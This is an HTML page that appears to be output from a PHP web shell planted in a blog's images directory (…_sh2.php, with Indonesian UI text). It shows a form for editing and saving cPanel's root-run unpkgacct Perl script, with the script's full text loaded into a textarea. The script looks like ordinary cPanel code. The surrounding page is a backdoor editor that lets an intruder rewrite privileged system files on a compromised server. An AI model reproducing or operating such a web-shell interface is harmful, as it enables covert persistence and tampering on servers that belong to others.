<h2>Edit File - unpkgacct</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/unpkgacct">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/bin/bash
eval &#039;if [ -x /usr/local/cpanel/3rdparty/bin/perl ]; then exec /usr/local/cpanel/3rdparty/bin/perl -x -- $0 ${1+&quot;$@&quot;}; else exec /usr/bin/perl -x $0 ${1+&quot;$@&quot;}; fi;&#039;
  if 0;

#!/usr/bin/perl
# cpanel - scripts/unpkgacct                         Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cpanel license. Unauthorized copying is prohibited

# NOTE: This script is designed to run on other systems during a transfer, usually as /usr/bin/perl.

package scripts::unpkgacct;

BEGIN {
    unshift @INC, &#039;/usr/local/cpanel&#039;;
    my %seen_inc;
    @INC = grep { !/(?:^\.|\.\.|\/\.+)/ &amp;&amp; !$seen_inc{$_}++ } @INC;
    undef %seen_inc;
}

require 5.006;

use Errno;

our $VERSION = &#039;1.0&#039;;

run(@ARGV) if !caller;

sub run {
    my (@argv) = @_;

    local $| = 1;

    if ( grep { m{version} } @argv ) {
        print &quot;unpkgacct VERSION $VERSION\n&quot;;
        return;
    }

    my ( $user, $mntpoint ) = @argv;

    if ( !_is_sane_username($user) &amp;&amp; !enXim($user) ) {
        die &quot;$0: invalid account “$user”\n&quot;;
    }

    #die() is for sanity
    $mntpoint ||= getmntpoint() || die &#039;Failed to find mountpoint!&#039;;

    my @paths_to_check = (
        &quot;$mntpoint/cpmove-${user}&quot;,
        &quot;$mntpoint/cpmove-${user}-split&quot;,
        &quot;$mntpoint/cpmove-${user}.tar.gz&quot;,
        &quot;$mntpoint/cpmove-${user}.tar&quot;,
    );

    my @paths_to_remove;
    for my $path (@paths_to_check) {
        next if -l $path;

        my $err = $!;

        if ( -e _ ) {

            #Exists and is not a symlink -&gt; delete
            print &quot;Found archive: $path\n&quot;;
            push @paths_to_remove, $path;
        }
        elsif ( $err != Errno::ENOENT ) {

            #lstat() shouldn’t fail except for ENOENT.
            warn &quot;lstat($path): $err&quot;;
        }
    }

    if ( !( -d &#039;/usr/local/cpanel&#039; ) &amp;&amp; $! ) {
        if ( $!{&#039;ENOENT&#039;} ) {
            push @paths_to_remove, &#039;/etc/trueuserdomains&#039;;
        }
        else {
            warn &quot;stat(/usr/local/cpanel): $!&quot;;
        }
    }

    if (@paths_to_remove) {
        exec( &#039;/bin/rm&#039;, &#039;--recursive&#039;, &#039;--force&#039;, &#039;--&#039;, @paths_to_remove ) or die &quot;exec(rm): $!&quot;;
    }

    print &quot;The mountpoint “$mntpoint” does not contain any archives for “$user”.\n&quot;;

    return;
}

## case 34397 deprecation: use Cpanel::Filesys::Home::get_homematch_with_most_free_space
sub getmntpoint {

    my ($homedir);
    my ($homematch);

    open( CONF, &quot;/etc/wwwacct.conf&quot; );
    while (&lt;CONF&gt;) {
        $_ =~ s/\n//g;
        if ( $_ !~ /^;/ ) {
            if ( $_ =~ /HOMEDIR/ ) {
                ( undef, $homedir ) = split( / /, $_ );
            }
            if ( $_ =~ /HOMEMATCH/ ) {
                ( undef, $homematch ) = split( / /, $_ );
            }
        }
    }
    close(CONF);
    $homedir =~ s/\/$//g;

    ## case 34397: mark for deprecation
    my $disk = `df`;

    my $max     = 0;
    my $mnt     = &quot;/&quot;;
    my (@DISK)  = split( /\n/, $disk );
    my $addline = &#039;&#039;;
    foreach my $line (@DISK) {
        if ( $line !~ /[\s|\t]+/ ) {
            $addline = $line;
            $addline =~ s/\n//g;
            next;
        }
        if ( $line =~ /^\/dev/ || $addline ne &quot;&quot; ) {
            $line =~ s/\n//g;

            $line =~ /\s(\d*)\s*\d*\%\s*(\S+)$/;
            my $free  = $1;
            my $mount = $2;

            my $assess = 1;
            if ( ( $mount eq &quot;/&quot; ) &amp;&amp; ( $homedir eq 0 ) ) {
                $assess = 0;
            }
            $free = int($free);
            $max  = int($max);

            if ( ( $max &lt; $free ) &amp;&amp; ( $assess eq 1 ) &amp;&amp; ( $mount =~ /$homematch/ || $mount eq &quot;/&quot; ) ) {
                $max = $free;
                if ( $mount eq &quot;/&quot; ) {
                    $mount = $homedir;
                }
                $mnt = $mount;
            }
        }
    }

    if ( $mnt eq &quot;&quot; || $mnt eq &quot;/&quot; ) { $mnt = &#039;/home&#039;; }

    return ($mnt);
}

sub enXim {
    my ($enxim_user) = @_;

    return $enxim_user if $enxim_user =~ /site\d+/;

    my $found = 0;
    opendir( VH, &quot;/home/virtual&quot; );
    my @FILES = grep( /^site/, readdir(VH) );
    closedir(VH);
    foreach my $xsite (@FILES) {
        my $ul;
        my $sitedir = &#039;/home/virtual/&#039; . $xsite . &quot;/fst&quot;;
        open( DNS, &quot;$sitedir/etc/passwd&quot; );
        chomp( $ul = &lt;DNS&gt; );
        my $muser = ( split /:/, $ul )[0];
        close(DNS);

        if ( $muser eq $enxim_user ) { $found = 1; last }
    }
    return $found;
}

sub _is_sane_username {
    my ($name) = @_;

    return 0 if $name =~ tr&lt;/&gt;&lt;&gt;;
    return 0 if $name eq &#039;.&#039; || $name eq &#039;..&#039;;

    return 1;
}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>